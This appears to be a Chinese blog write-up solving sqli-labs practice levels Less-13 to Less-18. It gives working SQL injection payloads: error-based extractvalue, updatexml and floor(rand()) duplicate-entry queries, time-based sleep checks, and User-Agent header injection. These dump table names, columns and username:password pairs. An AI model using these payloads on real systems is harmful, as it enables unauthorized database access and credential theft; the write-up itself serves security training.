Less-13
和Less-11相同,拼接方式從單引號改成單引號加括號
登錄成功後不顯示Your Login name和Your Password,所以不能使用聯合注入了
報錯盲注
爆庫名
uname=admin') and extractvalue(1,concat(0x7e,(select database()))) --+&passwd=admin&submit=Submit
輸出內容:XPATH syntax error: '~security'
延時盲注
爆庫名
uname=admin') and if(left(database(),1)='s',sleep(3),1) --+&passwd=admin&submit=Submit
延時了,剩下與之前相同。
Less-14
和Less-13相比,就是拼接方式從單引號加括號改成雙引號
Less-15
和Less-14相同,拼接方式單引號,源碼中註釋掉了 MySQL 的報錯日誌,所以這裡就不可以進行報錯注入了,只能使用布爾盲注或者延時盲注
Less-16
和Less-15相同,拼接方式雙引號加括號
Less-17
【修改密碼表單】,因為 uname 被 check_input() 裡面的mysql_real_escape_string()過濾了,從源碼得知唯一的注入點是在update語句裡面,passwd使用單引號拼接
使用MySQL的updatexml()去解題,這funtion是extractvaule()的兄弟
報錯盲注
爆庫名
uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+ &submit=Submit
輸出內容:XPATH syntax error: '~security~'
爆表名
MySQL 5.6實際測試使用以下 updatexml() 是不行的
uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+ &submit=Submit
改用國光Less-17的解法
uname=admin&passwd=1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((select group_concat(table_name) from information_schema.tables where table_schema=database()),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)#&submit=Submit
輸出內容:Duplicate entry 'emails,referers,uagents,users1' for key 'group_key'
爆字段
一樣用國光的解法
uname=admin&passwd=1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(( select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() ),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)#&submit=Submit
輸出內容:Duplicate entry 'id,username,password1' for key 'group_key'
爆值
國光的解法
uname=admin&passwd=1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(( SELECT(SELECT CONCAT(CAST(CONCAT(username,0x3a,password) AS CHAR),0x7e)) FROM users LIMIT 0,1 ),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)#&submit=Submit
輸出內容:Duplicate entry 'Dumb:Dumb~1' for key 'group_key'
Less-18
對 uname 和 passwd 都做了 check_input() 過濾了,本題的注入點在insert語句,這裡沒有對 uagent 和 ip_address 過濾,且輸出了mysql 的報錯信息,所以本關支持 報錯注入、布爾盲注和延時盲注。
PHP 裡用來獲取客戶端 IP 的變量
- $_SERVER['HTTP_CLIENT_IP'] 這個很少使用,不一定服務器都實現了。客戶端可以偽造。
- $_SERVER['HTTP_X_FORWARDED_FOR'],客戶端可以偽造。
- $_SERVER['REMOTE_ADDR'],客戶端不能偽造。
所以這裡的 IP 是無法被偽造的,這裡只能通過修改 user-agent 來進行注入
報錯注入
爆庫名
'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '
使用burp suite 攔截後對 User-Agent 請求頭注入
爆表名
sqli-lab tutorial-1-35 customs Writeup 的解法無用,一樣需要用到國光Less-18的解法,對User-Agent 注入
1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(( select group_concat(table_name) from information_schema.tables where table_schema=database() ),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) and '1'='1
輸出內容:Duplicate entry 'emails,referers,uagents,users1' for key 'group_key'
爆字段
1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(( select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() ),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) and '1'='1
爆值
1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(( SELECT(SELECT CONCAT(CAST(CONCAT(username,0x3a,password) AS CHAR),0x7e)) FROM users LIMIT 0,1 ),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) and '1'='1
沒有留言:
張貼留言